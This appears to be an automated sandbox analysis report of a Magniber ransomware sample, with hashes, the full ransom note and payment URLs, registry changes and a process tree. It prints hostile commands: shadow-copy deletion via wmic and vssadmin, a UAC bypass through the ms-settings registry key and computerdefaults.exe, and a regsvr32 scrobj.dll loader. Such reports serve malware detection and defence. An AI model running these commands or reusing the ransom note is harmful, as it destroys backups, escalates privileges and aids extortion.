magniber | 1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367

Analysis

max time kernel
139s
max time network
123s
platform
windows10_x64
resource
win10-en-20211014
submitted
18/11/2021, 13:16

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General

Target

1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367.exe
Size

22KB
MD5

7906dc475a8ae55ffb5af7fd3ac8f10a
SHA1

e7304e2436dc0eddddba229f1ec7145055030151
SHA256

1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367
SHA512

c087b3107295095e9aca527d02b74c067e96ca5daf5457e465f8606dbf4809027faedf65d77868f6fb8bb91a1438e3d0169e59efddf1439bbd3adb3e23a739a1

Score

10^/10

magniber ransomware

Malware Config

Extracted

Path

C:\Users\Admin\Desktop\readme.txt

Family

magniber

Ransom Note

ALL YOUR DOCUMENTS PHOTOS DATABASES AND OTHER IMPORTANT FILES HAVE BEEN ENCRYPTED! ==================================================================================================== Your files are NOT damaged! Your files are modified only. This modification is reversible. The only 1 way to decrypt your files is to receive the private key and decryption program. Any attempts to restore your files with the third party software will be fatal for your files! ==================================================================================================== To receive the private key and decryption program follow the instructions below: 1. Download "Tor Browser" from https://www.torproject.org/ and install it. 2. In the "Tor Browser" open your personal page here: http://ca74e800e27ca27068eltalkfzj.n5fnrf4l7bdjhelx.onion/eltalkfzj Note! This page is available via "Tor Browser" only. ==================================================================================================== Also you can use temporary addresses on your personal page without using "Tor Browser": http://ca74e800e27ca27068eltalkfzj.jobsbig.cam/eltalkfzj http://ca74e800e27ca27068eltalkfzj.boxgas.icu/eltalkfzj http://ca74e800e27ca27068eltalkfzj.sixsees.club/eltalkfzj http://ca74e800e27ca27068eltalkfzj.nowuser.casa/eltalkfzj Note! These are temporary addresses! They will be available for a limited amount of time!

URLs

http://ca74e800e27ca27068eltalkfzj.n5fnrf4l7bdjhelx.onion/eltalkfzj

http://ca74e800e27ca27068eltalkfzj.jobsbig.cam/eltalkfzj

http://ca74e800e27ca27068eltalkfzj.boxgas.icu/eltalkfzj

http://ca74e800e27ca27068eltalkfzj.sixsees.club/eltalkfzj

http://ca74e800e27ca27068eltalkfzj.nowuser.casa/eltalkfzj

Signatures

Magniber Ransomware
Ransomware family widely seen in Asia being distributed by the Magnitude exploit kit.
ransomware magniber

Process spawned unexpected child process 14 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4168	3148	cmd.exe	107
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4160	3148	cmd.exe	107
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4196	3148	cmd.exe	107
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4188	3148	cmd.exe	107
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4180	3148	cmd.exe	107
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4508	3148	cmd.exe	107
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4556	3148	cmd.exe	107
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4592	3148	cmd.exe	107
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4628	3148	cmd.exe	107
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4620	3148	cmd.exe	107
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4768	3148	cmd.exe	107
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4832	3148	cmd.exe	107
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4868	3148	cmd.exe	107
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4880	3148	cmd.exe	107

Modifies extensions of user files 3 IoCs

Ransomware generally changes the extension on encrypted files.

ransomware

description	ioc	Process
File renamed	C:\Users\Admin\Pictures\ConfirmSplit.crw => C:\Users\Admin\Pictures\ConfirmSplit.crw.eltalkfzj	sihost.exe
File renamed	C:\Users\Admin\Pictures\RedoApprove.raw => C:\Users\Admin\Pictures\RedoApprove.raw.eltalkfzj	sihost.exe
File renamed	C:\Users\Admin\Pictures\RenameCheckpoint.tif => C:\Users\Admin\Pictures\RenameCheckpoint.tif.eltalkfzj	sihost.exe

Suspicious use of SetThreadContext 6 IoCs

description	pid	Process	procid_target
PID 2700 set thread context of 2348	2700	1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367.exe	14
PID 2700 set thread context of 2372	2700	1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367.exe	25
PID 2700 set thread context of 2720	2700	1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367.exe	38
PID 2700 set thread context of 3004	2700	1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367.exe	26
PID 2700 set thread context of 3472	2700	1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367.exe	35
PID 2700 set thread context of 3700	2700	1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367.exe	34

Program crash 1 IoCs

pid	pid_target	Process	procid_target
1860	3700	WerFault.exe	34

Modifies registry class 29 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\ms-settings\shell\open\command\ = "regsvr32.exe scrobj.dll /s /u /n /i:C:\\Users\\Public\\readme.txt"	Explorer.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\ms-settings\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\""	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\ms-settings\shell\open	sihost.exe
Key created	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\ms-settings\shell\open\command	svchost.exe
Key created	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\ms-settings\shell\open\command	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\ms-settings\shell\open\command	taskhostw.exe
Key created	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\ms-settings	sihost.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\ms-settings\shell\open\command\DelegateExecute = "0"	sihost.exe
Key created	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\ms-settings\shell\open\command	1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\ms-settings\shell\open\command\DelegateExecute = "0"	RuntimeBroker.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\ms-settings\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\""	RuntimeBroker.exe
Key created	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\ms-settings\shell\open\command	sihost.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\ms-settings\shell\open\command\DelegateExecute = "0"	svchost.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\ms-settings\shell\open\command\ = "regsvr32.exe scrobj.dll /s /u /n /i:C:\\Users\\Public\\readme.txt"	taskhostw.exe
Key created	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\ms-settings\shell	sihost.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\ms-settings\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\""	sihost.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\ms-settings\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\""	svchost.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\ms-settings\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\""	taskhostw.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\ms-settings\shell\open\command\ = "regsvr32.exe scrobj.dll /s /u /n /i:C:\\Users\\Public\\readme.txt"	1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\ms-settings\shell\open\command\DelegateExecute = "0"	Explorer.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\ms-settings\shell\open\command\DelegateExecute = "0"	taskhostw.exe
Key created	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\ms-settings\shell\open\command	RuntimeBroker.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\ms-settings\shell\open\command\ = "regsvr32.exe scrobj.dll /s /u /n /i:C:\\Users\\Public\\readme.txt"	RuntimeBroker.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance	Explorer.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\ms-settings\shell\open\command\ = "regsvr32.exe scrobj.dll /s /u /n /i:C:\\Users\\Public\\readme.txt"	sihost.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\ms-settings\shell\open\command\ = "regsvr32.exe scrobj.dll /s /u /n /i:C:\\Users\\Public\\readme.txt"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\ms-settings\shell\open\command\DelegateExecute = "0"	1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\ms-settings\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\""	1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367.exe

Opens file in notepad (likely ransom note) 1 IoCs

ransomware

pid	Process
3052	notepad.exe

Suspicious behavior: EnumeratesProcesses 14 IoCs

pid	Process
2700	1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367.exe
2700	1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367.exe
1860	WerFault.exe
1860	WerFault.exe
1860	WerFault.exe
1860	WerFault.exe
1860	WerFault.exe
1860	WerFault.exe
1860	WerFault.exe
1860	WerFault.exe
1860	WerFault.exe
1860	WerFault.exe
1860	WerFault.exe
1860	WerFault.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
3004	Explorer.EXE

Suspicious behavior: MapViewOfSection 6 IoCs

pid	Process
2700	1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367.exe
2700	1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367.exe
2700	1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367.exe
2700	1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367.exe
2700	1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367.exe
2700	1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1860	WerFault.exe
Token: SeShutdownPrivilege	3004	Explorer.EXE
Token: SeCreatePagefilePrivilege	3004	Explorer.EXE
Token: SeShutdownPrivilege	3004	Explorer.EXE
Token: SeCreatePagefilePrivilege	3004	Explorer.EXE
Token: SeShutdownPrivilege	3004	Explorer.EXE
Token: SeCreatePagefilePrivilege	3004	Explorer.EXE
Token: SeShutdownPrivilege	3004	Explorer.EXE
Token: SeCreatePagefilePrivilege	3004	Explorer.EXE
Token: SeShutdownPrivilege	3004	Explorer.EXE
Token: SeCreatePagefilePrivilege	3004	Explorer.EXE
Token: SeShutdownPrivilege	3004	Explorer.EXE
Token: SeCreatePagefilePrivilege	3004	Explorer.EXE
Token: SeShutdownPrivilege	3004	Explorer.EXE
Token: SeCreatePagefilePrivilege	3004	Explorer.EXE
Token: SeShutdownPrivilege	3004	Explorer.EXE
Token: SeCreatePagefilePrivilege	3004	Explorer.EXE
Token: SeShutdownPrivilege	3004	Explorer.EXE
Token: SeCreatePagefilePrivilege	3004	Explorer.EXE
Token: SeShutdownPrivilege	3004	Explorer.EXE
Token: SeCreatePagefilePrivilege	3004	Explorer.EXE
Token: SeShutdownPrivilege	3004	Explorer.EXE
Token: SeCreatePagefilePrivilege	3004	Explorer.EXE
Token: SeShutdownPrivilege	3004	Explorer.EXE
Token: SeCreatePagefilePrivilege	3004	Explorer.EXE
Token: SeShutdownPrivilege	3004	Explorer.EXE
Token: SeCreatePagefilePrivilege	3004	Explorer.EXE
Token: SeShutdownPrivilege	3004	Explorer.EXE
Token: SeCreatePagefilePrivilege	3004	Explorer.EXE
Token: SeIncreaseQuotaPrivilege	596	WMIC.exe
Token: SeSecurityPrivilege	596	WMIC.exe
Token: SeTakeOwnershipPrivilege	596	WMIC.exe
Token: SeLoadDriverPrivilege	596	WMIC.exe
Token: SeSystemProfilePrivilege	596	WMIC.exe
Token: SeSystemtimePrivilege	596	WMIC.exe
Token: SeProfSingleProcessPrivilege	596	WMIC.exe
Token: SeIncBasePriorityPrivilege	596	WMIC.exe
Token: SeCreatePagefilePrivilege	596	WMIC.exe
Token: SeBackupPrivilege	596	WMIC.exe
Token: SeRestorePrivilege	596	WMIC.exe
Token: SeShutdownPrivilege	596	WMIC.exe
Token: SeDebugPrivilege	596	WMIC.exe
Token: SeSystemEnvironmentPrivilege	596	WMIC.exe
Token: SeRemoteShutdownPrivilege	596	WMIC.exe
Token: SeUndockPrivilege	596	WMIC.exe
Token: SeManageVolumePrivilege	596	WMIC.exe
Token: 33	596	WMIC.exe
Token: 34	596	WMIC.exe
Token: 35	596	WMIC.exe
Token: 36	596	WMIC.exe
Token: SeIncreaseQuotaPrivilege	3196	WMIC.exe
Token: SeSecurityPrivilege	3196	WMIC.exe
Token: SeTakeOwnershipPrivilege	3196	WMIC.exe
Token: SeLoadDriverPrivilege	3196	WMIC.exe
Token: SeSystemProfilePrivilege	3196	WMIC.exe
Token: SeSystemtimePrivilege	3196	WMIC.exe
Token: SeProfSingleProcessPrivilege	3196	WMIC.exe
Token: SeIncBasePriorityPrivilege	3196	WMIC.exe
Token: SeCreatePagefilePrivilege	3196	WMIC.exe
Token: SeBackupPrivilege	3196	WMIC.exe
Token: SeRestorePrivilege	3196	WMIC.exe
Token: SeShutdownPrivilege	3196	WMIC.exe
Token: SeDebugPrivilege	3196	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3196	WMIC.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2348 wrote to memory of 3052	2348	sihost.exe	70
PID 2348 wrote to memory of 3052	2348	sihost.exe	70
PID 2348 wrote to memory of 1964	2348	sihost.exe	71
PID 2348 wrote to memory of 1964	2348	sihost.exe	71
PID 2348 wrote to memory of 360	2348	sihost.exe	73
PID 2348 wrote to memory of 360	2348	sihost.exe	73
PID 2348 wrote to memory of 1484	2348	sihost.exe	74
PID 2348 wrote to memory of 1484	2348	sihost.exe	74
PID 2372 wrote to memory of 64	2372	svchost.exe	78
PID 2372 wrote to memory of 64	2372	svchost.exe	78
PID 2372 wrote to memory of 2808	2372	svchost.exe	80
PID 2372 wrote to memory of 2808	2372	svchost.exe	80
PID 1484 wrote to memory of 596	1484	cmd.exe	82
PID 1484 wrote to memory of 596	1484	cmd.exe	82
PID 3004 wrote to memory of 1088	3004	Explorer.EXE	83
PID 3004 wrote to memory of 1088	3004	Explorer.EXE	83
PID 3004 wrote to memory of 348	3004	Explorer.EXE	84
PID 3004 wrote to memory of 348	3004	Explorer.EXE	84
PID 360 wrote to memory of 2636	360	cmd.exe	85
PID 360 wrote to memory of 2636	360	cmd.exe	85
PID 2808 wrote to memory of 3196	2808	cmd.exe	87
PID 2808 wrote to memory of 3196	2808	cmd.exe	87
PID 2720 wrote to memory of 1092	2720	taskhostw.exe	89
PID 2720 wrote to memory of 1092	2720	taskhostw.exe	89
PID 2720 wrote to memory of 3268	2720	taskhostw.exe	90
PID 2720 wrote to memory of 3268	2720	taskhostw.exe	90
PID 64 wrote to memory of 1520	64	cmd.exe	93
PID 64 wrote to memory of 1520	64	cmd.exe	93
PID 3472 wrote to memory of 2956	3472	RuntimeBroker.exe	94
PID 3472 wrote to memory of 2956	3472	RuntimeBroker.exe	94
PID 3472 wrote to memory of 2192	3472	RuntimeBroker.exe	95
PID 3472 wrote to memory of 2192	3472	RuntimeBroker.exe	95
PID 1088 wrote to memory of 3236	1088	cmd.exe	102
PID 1088 wrote to memory of 3236	1088	cmd.exe	102
PID 2700 wrote to memory of 3100	2700	1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367.exe	98
PID 2700 wrote to memory of 3100	2700	1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367.exe	98
PID 2700 wrote to memory of 3724	2700	1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367.exe	99
PID 2700 wrote to memory of 3724	2700	1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367.exe	99
PID 348 wrote to memory of 3960	348	cmd.exe	103
PID 348 wrote to memory of 3960	348	cmd.exe	103
PID 3268 wrote to memory of 3156	3268	cmd.exe	106
PID 3268 wrote to memory of 3156	3268	cmd.exe	106
PID 2700 wrote to memory of 3168	2700	1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367.exe	105
PID 2700 wrote to memory of 3168	2700	1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367.exe	105
PID 2700 wrote to memory of 1656	2700	1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367.exe	104
PID 2700 wrote to memory of 1656	2700	1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367.exe	104
PID 1092 wrote to memory of 3104	1092	cmd.exe	110
PID 1092 wrote to memory of 3104	1092	cmd.exe	110
PID 2956 wrote to memory of 3296	2956	cmd.exe	111
PID 2956 wrote to memory of 3296	2956	cmd.exe	111
PID 2192 wrote to memory of 4000	2192	cmd.exe	112
PID 2192 wrote to memory of 4000	2192	cmd.exe	112
PID 3724 wrote to memory of 2604	3724	cmd.exe	113
PID 3724 wrote to memory of 2604	3724	cmd.exe	113
PID 3100 wrote to memory of 1760	3100	cmd.exe	115
PID 3100 wrote to memory of 1760	3100	cmd.exe	115
PID 1656 wrote to memory of 3484	1656	cmd.exe	114
PID 1656 wrote to memory of 3484	1656	cmd.exe	114
PID 3168 wrote to memory of 3480	3168	cmd.exe	116
PID 3168 wrote to memory of 3480	3168	cmd.exe	116
PID 4180 wrote to memory of 4368	4180	cmd.exe	127
PID 4180 wrote to memory of 4368	4180	cmd.exe	127
PID 4160 wrote to memory of 4388	4160	cmd.exe	129
PID 4160 wrote to memory of 4388	4160	cmd.exe	129

c:\windows\system32\sihost.exe
sihost.exe
1⤵
- Modifies extensions of user files
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:2348
- \??\c:\windows\system32\notepad.exe
  notepad.exe C:\Users\Public\readme.txt
  2⤵
  - Opens file in notepad (likely ransom note)
  PID:3052
- \??\c:\windows\system32\cmd.exe
  cmd /c "start http://ca74e800e27ca27068eltalkfzj.jobsbig.cam/eltalkfzj^&1^&47006090^&79^&291^&2215063"
  2⤵
  PID:1964
- \??\c:\windows\system32\cmd.exe
  cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c computerdefaults.exe""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:360
- - C:\Windows\system32\wbem\WMIC.exe
    C:\Windows\system32\wbem\wmic process call create "cmd /c computerdefaults.exe"
    3⤵
    PID:2636
- \??\c:\windows\system32\cmd.exe
  cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c computerdefaults.exe""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1484
- - C:\Windows\system32\wbem\WMIC.exe
    C:\Windows\system32\wbem\wmic process call create "cmd /c computerdefaults.exe"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:596

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k unistacksvcgroup -s CDPUserSvc
1⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:2372
- \??\c:\windows\system32\cmd.exe
  cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c computerdefaults.exe""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:64
- - C:\Windows\system32\wbem\WMIC.exe
    C:\Windows\system32\wbem\wmic process call create "cmd /c computerdefaults.exe"
    3⤵
    PID:1520
- \??\c:\windows\system32\cmd.exe
  cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c computerdefaults.exe""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2808
- - C:\Windows\system32\wbem\WMIC.exe
    C:\Windows\system32\wbem\wmic process call create "cmd /c computerdefaults.exe"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:3196

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Modifies registry class
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3004
- C:\Users\Admin\AppData\Local\Temp\1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367.exe
  "C:\Users\Admin\AppData\Local\Temp\1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367.exe"
  2⤵
  - Suspicious use of SetThreadContext
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of WriteProcessMemory
  PID:2700
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c computerdefaults.exe""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3100
  - - C:\Windows\system32\wbem\WMIC.exe
      C:\Windows\system32\wbem\wmic process call create "cmd /c computerdefaults.exe"
      4⤵
      PID:1760
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c computerdefaults.exe""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3724
  - - C:\Windows\system32\wbem\WMIC.exe
      C:\Windows\system32\wbem\wmic process call create "cmd /c computerdefaults.exe"
      4⤵
      PID:2604
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c computerdefaults.exe""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1656
  - - C:\Windows\system32\wbem\WMIC.exe
      C:\Windows\system32\wbem\wmic process call create "cmd /c computerdefaults.exe"
      4⤵
      PID:3484
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c computerdefaults.exe""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3168
  - - C:\Windows\system32\wbem\WMIC.exe
      C:\Windows\system32\wbem\wmic process call create "cmd /c computerdefaults.exe"
      4⤵
      PID:3480
- C:\Windows\system32\cmd.exe
  cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c computerdefaults.exe""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1088
- - C:\Windows\system32\wbem\WMIC.exe
    C:\Windows\system32\wbem\wmic process call create "cmd /c computerdefaults.exe"
    3⤵
    PID:3236
- C:\Windows\system32\cmd.exe
  cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c computerdefaults.exe""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:348
- - C:\Windows\system32\wbem\WMIC.exe
    C:\Windows\system32\wbem\wmic process call create "cmd /c computerdefaults.exe"
    3⤵
    PID:3960

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:3700
- C:\Windows\system32\WerFault.exe
  C:\Windows\system32\WerFault.exe -u -p 3700 -s 836
  2⤵
  - Program crash
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1860

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:3472
- C:\Windows\System32\cmd.exe
  cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c computerdefaults.exe""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2956
- - C:\Windows\system32\wbem\WMIC.exe
    C:\Windows\system32\wbem\wmic process call create "cmd /c computerdefaults.exe"
    3⤵
    PID:3296
- C:\Windows\System32\cmd.exe
  cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c computerdefaults.exe""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2192
- - C:\Windows\system32\wbem\WMIC.exe
    C:\Windows\system32\wbem\wmic process call create "cmd /c computerdefaults.exe"
    3⤵
    PID:4000

c:\windows\system32\taskhostw.exe
taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
1⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:2720
- \??\c:\windows\system32\cmd.exe
  cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c computerdefaults.exe""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1092
- - C:\Windows\system32\wbem\WMIC.exe
    C:\Windows\system32\wbem\wmic process call create "cmd /c computerdefaults.exe"
    3⤵
    PID:3104
- \??\c:\windows\system32\cmd.exe
  cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c computerdefaults.exe""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3268
- - C:\Windows\system32\wbem\WMIC.exe
    C:\Windows\system32\wbem\wmic process call create "cmd /c computerdefaults.exe"
    3⤵
    PID:3156

C:\Windows\system32\cmd.exe
cmd /c computerdefaults.exe
1⤵
- Process spawned unexpected child process
PID:4168
- C:\Windows\system32\ComputerDefaults.exe
  computerdefaults.exe
  2⤵
  PID:4456

C:\Windows\system32\cmd.exe
cmd /c computerdefaults.exe
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:4160
- C:\Windows\system32\ComputerDefaults.exe
  computerdefaults.exe
  2⤵
  PID:4388

C:\Windows\system32\cmd.exe
cmd /c computerdefaults.exe
1⤵
- Process spawned unexpected child process
PID:4196
- C:\Windows\system32\ComputerDefaults.exe
  computerdefaults.exe
  2⤵
  PID:4400

C:\Windows\system32\cmd.exe
cmd /c computerdefaults.exe
1⤵
- Process spawned unexpected child process
PID:4188
- C:\Windows\system32\ComputerDefaults.exe
  computerdefaults.exe
  2⤵
  PID:4420

C:\Windows\system32\cmd.exe
cmd /c computerdefaults.exe
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:4180
- C:\Windows\system32\ComputerDefaults.exe
  computerdefaults.exe
  2⤵
  PID:4368

C:\Windows\system32\cmd.exe
cmd /c computerdefaults.exe
1⤵
- Process spawned unexpected child process
PID:4508
- C:\Windows\system32\ComputerDefaults.exe
  computerdefaults.exe
  2⤵
  PID:4692

C:\Windows\system32\cmd.exe
cmd /c computerdefaults.exe
1⤵
- Process spawned unexpected child process
PID:4556
- C:\Windows\system32\ComputerDefaults.exe
  computerdefaults.exe
  2⤵
  PID:4820

C:\Windows\system32\cmd.exe
cmd /c computerdefaults.exe
1⤵
- Process spawned unexpected child process
PID:4592
- C:\Windows\system32\ComputerDefaults.exe
  computerdefaults.exe
  2⤵
  PID:4992

C:\Windows\system32\cmd.exe
cmd /c computerdefaults.exe
1⤵
- Process spawned unexpected child process
PID:4628
- C:\Windows\system32\ComputerDefaults.exe
  computerdefaults.exe
  2⤵
  PID:5032

C:\Windows\system32\cmd.exe
cmd /c computerdefaults.exe
1⤵
- Process spawned unexpected child process
PID:4620
- C:\Windows\system32\ComputerDefaults.exe
  computerdefaults.exe
  2⤵
  PID:4964

C:\Windows\system32\cmd.exe
cmd /c computerdefaults.exe
1⤵
- Process spawned unexpected child process
PID:4768
- C:\Windows\system32\ComputerDefaults.exe
  computerdefaults.exe
  2⤵
  PID:5092

C:\Windows\system32\cmd.exe
cmd /c computerdefaults.exe
1⤵
- Process spawned unexpected child process
PID:4832
- C:\Windows\system32\ComputerDefaults.exe
